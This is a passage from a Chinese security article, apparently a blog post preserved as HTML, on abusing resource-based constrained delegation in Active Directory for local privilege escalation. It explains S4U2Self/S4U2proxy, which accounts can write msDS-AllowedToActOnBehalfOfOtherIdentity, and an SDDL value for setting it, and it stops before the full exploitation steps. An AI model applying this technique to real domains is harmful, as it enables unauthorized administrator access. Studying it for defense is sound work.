border-box;">S4U2Self</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">通过此扩展可以拿到一张标识任意用户身份的TGS(图中是去获取的用户X身份的TGS)，上文已经解释过了，它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候，网站A是没有用户X的TGS的，但是是网站A要去获取文件服务器B的访问权限（TGS）需要用户X的TGS，因此S4U2Self解决了这个问题，网站A服务器可以使用它去向KDC请求一张用户X身份的TGS，网站A服务器再用这张TGS去发起S4U2proxy请求。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-bottom: 0.5rem;width: inherit;"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">S4U2proxy</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">该拓展作用是使用一张用户X身份的TGS去向KDC请求一张用于访问文件服务器B的TGS，这张TGS的身份还是用户X，这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了。</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">相信此时大家应该明白了</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">基于资源的约束委派(RBCD)</span></strong><span style="box-sizing: border-box;">的认证流程。怎么来设置基于资源的约束委派呢？其中msDS-AllowedToActOnBehalfOfOtherIdentity是关键。</span></span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">msDS-AllowedToActOnBehalfOfOtherIdentity</span></strong> <span style="box-sizing: border-box;">msDS-AllowedToActOnBehalfOfOtherIdentity，在上一篇文章《</span></span><span style="font-size: 14px;">这是一篇“不一样”的真实渗透测试案例分析文章</span><span style="font-size: 14px;"><span style="box-sizing: border-box;">》中介绍过了。此属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。简而言之， 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据，但该票据只对这台机器生效，然后拿这张票据去对计算机进行认证。</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">也就是说当域内存在任意一台域控和域功能级别是server 2012及以上时，可以通过给所在机器配置&#34;msDS-AllowedToActOnBehalfOfOtherIdentity&#34;属性来设置rbcd，然后通过s4u协议申请高权限票据进行利用</span></strong><span style="box-sizing: border-box;">。</span></span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">如果你还是不太明白</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">基于资源的约束委派</span></strong><span style="box-sizing: border-box;">，请详细阅读节首提到了文章</span></span><span style="font-size: 14px;">《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》</span><span style="box-sizing: border-box;font-size: 14px;">，再继续阅读下面的内容。接下来就是关于提权原理相关的介绍。</span></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 24px;">0x03 提权原理</span></h1><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">在</span><span style="font-size: 14px;">《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》</span><span style="box-sizing: border-box;font-size: 14px;">中提到了一些利用RBCD本地提权的方案都是基于WEBDAV结合NTLM relay到ldap去设置msDS-AllowedToActOnBehalfOfOtherIdentity属性的方案，例如：利用用户头像更新的UNC路径和MSSQL的xp_dirtree的利用。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">在本文当中我们会换个思路来思考RBCD的利用，首先我们来思考一个问题：</span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">&#34;谁有权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?&#34;</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">分析环境如下：</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.1513647642679901" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1612" src="https://wechat2rss.xlab.app/img-proxy/?k=2e7fb295&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4kGAOKRdicV6k9bYQHfWqUj6zvIo8UJvBMpM19qgKPibrKyhGhKpNDYibw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">查询web3的&#34;msDS-AllowedToActOnBehalfOfOtherIdentity&#34;属性发现默认是不存在的。</span> </span><img data-ratio="0.3348982785602504" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1278" src="https://wechat2rss.xlab.app/img-proxy/?k=4046c634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4pzWRiazcc39cO3UeFdmoJ7iamUdcPUNJAYOpTH3VYQhpbNgAjz3uZ0dg%2F640%3Fwx_fmt%3Djpeg"/><span style="box-sizing: border-box;font-size: 14px;">由此得知所有加入域的机器默认不存在这个属性，需要手动添加才行！</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">那么</span></strong></span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">谁权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?</span></code><span style="box-sizing: border-box;font-size: 14px;">的问题就变成了</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性？</span></code></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">我们再看web3这台机器的LDAP ACL权限情况，用.net实现一个查看ACL的小工具，代码如下：</span> </span><img data-ratio="0.36541143654114366" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1434" src="https://wechat2rss.xlab.app/img-proxy/?k=e228f1e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4h59Ticm1HUpVLLbRLesSORLHMm9F64HNYiczNfbI23KE2vR7v5vsexSw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">编译运行后会输出哪些对象拥有哪些权限，而这两条ACL引起了我的注意</span></p><pre spellcheck="false" lang="" style="box-sizing: border-box;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 1em 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><div lang="" style="box-sizing: border-box;height: auto;overflow: hidden;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: inherit;"><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding-right: 4px;padding-left: 4px;border-radius: 0px;border-width: 0px 30px 0px 0px;font-size: inherit;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;background-position: 0px 0px;word-break: normal;border-right-style: none;border-right-color: transparent;width: inherit;"><span style="box-sizing: border-box;padding-right: 0.1px;font-size: 14px;">REDTEAM\web3user -&gt; WriteProperty</span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding-right: 4px;padding-left: 4px;border-radius: 0px;border-width: 0px 30px 0px 0px;font-size: inherit;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;background-position: 0px 0px;word-break: normal;border-right-style: none;border-right-color: transparent;width: inherit;"><span style="box-sizing: border-box;padding-right: 0.1px;font-size: 14px;">NT AUTHORITY\SELF -&gt; WriteProperty</span></pre></div></pre><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">REDTEAM\web3user</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">先来看这条 ACL</span></strong></span></p><blockquote style="box-sizing: border-box;margin-top: 0.8em;margin-bottom: 0.8em;border-left-width: 4px;border-left-color: rgb(255, 191, 0);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-right: 0.5em;margin-left: 0.5em;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">REDTEAM\web3user -&gt; WriteProperty</span></p></blockquote><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">WriteProperty</span></code><span style="box-sizing: border-box;font-size: 14px;">是指拥有写入对象属性的权限，看到这里不禁露出笑容，这不是我们正想要的么 :)</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">参考:</span><span style="font-size: 14px;">ActiveDirectoryRights Enum</span><span style="font-size: 14px;"> </span><img data-ratio="0.07156308851224105" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1062" src="https://wechat2rss.xlab.app/img-proxy/?k=80e7f756&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4c9ibSZwchV2fXF9DxHqbZ3ZqhT8GjTOVzmLIQe5fP1jkKcSyBBiaFibcA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">使用</span><span style="font-size: 14px;">ADExplorer</span><span style="box-sizing: border-box;font-size: 14px;">来测试是否可以添加</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">msDS-AllowedToActOnBehalfOfOtherIdentity</span></code><span style="font-size: 14px;"><span style="box-sizing: border-box;">，用web3user登录</span> </span><img data-ratio="0.5884057971014492" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="690" src="https://wechat2rss.xlab.app/img-proxy/?k=f86b3faa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ44F7hI5auibYRs9HTj8QK2sNXocG41PBKS2LN7aOY8HWicKzgsy6phABQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">然后添加属性,value是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;serverA的sid)</span></code><span style="box-sizing: border-box;font-size: 14px;">组成的,其中value里面的sid用于访问检查，以确定这个sid对象是否有权限代表其他身份进行认证。 </span><img data-ratio="0.7177242888402626" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="914" src="https://wechat2rss.xlab.app/img-proxy/?k=03858860&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4ITeEIw8FlhWUEO4oB50uprdiaWhpbRY5nnOxwc0Qze7q2ZUP8TJDicSg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">不出所料，很轻松地添加上了。</span> </span><img data-ratio="0.19974226804123713" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="1552" src="https://wechat2rss.xlab.app/img-proxy/?k=3203d160&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4J83iaOM75DMYFgGOvLAbYavJ6Cvw05DMCvWIiaI9bV6F1aqBdvfn8MHg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">为什么REDTEAM\web3user拥有WriteProperty权限呢？当web3计算机通过域用户web3user加入域时，域内会创建名为</span></strong><strong style="box-sizing: border-box;"></strong><strong style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;">web3.redteam.com</code><span style="box-sizing: border-box;">的计算机对象，而创建者就是</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;">web3user</code><span style="box-sizing: border-box;">，所以该域用户具有对</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;">web3.redteam.com</code><span style="box-sizing: border-box;">的WriteProperty权限。</span></strong></span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><span style="box-sizing: border-box;">可以在&#34;mS-DS-CreatorSID&#34;属性中看到，这台计算机是谁创建的，sid对应所属域用户</span> </span><img data-ratio="0.5511111111111111" style="box-sizing: border-box;vertical-align: middle;" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=1ad22044&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4XdhceuJrMKn4rxX2eKEkbMHhW7UTmoOZKDUAqRmO0iaVTblol9OXeZg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.07870967741935483" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1550" src="https://wechat2rss.xlab.app/img-proxy/?k=7976e426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4zxbSTgbYB44AqicyqbwmDpYk2DOuuVgCOgpqjd4NUvFxs8HuykQicD1A%2F640%3Fwx_fmt%3Djpeg"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 0.3em;border-bottom: 1px solid rgb(255, 191, 0);text-align: center;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 20px;">NT AUTHORITY\SELF</span></h2><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;">然后我们再分析另一条ACL</span></strong></span></p><blockquote style="box-sizing: border-box;margin-top: 0.8em;margin-bottom: 0.8em;border-left-width: 4px;border-left-color: rgb(255, 191, 0);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin-right: 0.5em;margin-left: 0.5em;width: inherit;"><span style="box-sizing: border-box;font-size: 14px;">NT AUTHORITY\SELF -&gt; WriteProperty</span></p></blockquote><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><img data-ratio="0.1865546218487395" style="box-sizing: border-box;vertical-align: middle;display: block;margin: auto;" data-type="jpeg" data-w="1190" src="https://wechat2rss.xlab.app/img-proxy/?k=3ffa5f2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibMAFj5oJ4oJuJYn4n6sRtQ4jQibT70aBjRqtgj9wNNMG0FU2icmGmWuiaWg4cVfhzxUe7jkz1EWqac4w%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">NT AUTHORITY\SELF</span></code><span style="box-sizing: border-box;font-size: 14px;"> 自身(web3.redteam.com)对于自身对象拥有ReadProperty, WriteProperty等权限那么就可以随便操作</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">msDS-AllowedToActOnBehalfOfOtherIdentity</span></code><span style="box-sizing: border-box;font-size: 14px;">属性了。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">至此我们再来回答这</span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 4px;padding-bottom: 2px;padding-left: 4px;font-size: 0.9em;"><span style="font-size: 14px;">谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性？</span></code></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">REDTEAM\web3user -&gt; WriteProperty（将机器加入域的账号，也就是mS-DS-CreatorSID属性中的账户）</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">NT AUTHORITY\SELF -&gt; WriteProperty（机器账户自身也可以修改）</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">我们再回顾一个知识点，默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户，就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。</span></p><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">因此web3user和机器账户自身都可以去创建一个新的机器账户。现在我们就满足了2个利用基于资源的约束委派的条件：</span></p><ul style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性；</span></p></li><li style="box-sizing: border-box;font-size: 14px;"><p><span style="box-sizing: border-box;font-size: 14px;">有一个机器账户（这里说法其实不太准确，应该是需要一个具有SPN的账户，更详细的说是需要一个账户的TGT就可以，机器账户满足以上条件）。</span></p></li></ul><p style="box-sizing: border-box;line-height: 1.5em;orphans: 4;margin: 0.8em 0.5em;white-space: normal;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: 14px;">知道了以上条件，接下来就是一个完整S4U2协议的利用过程。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;padding-bottom: 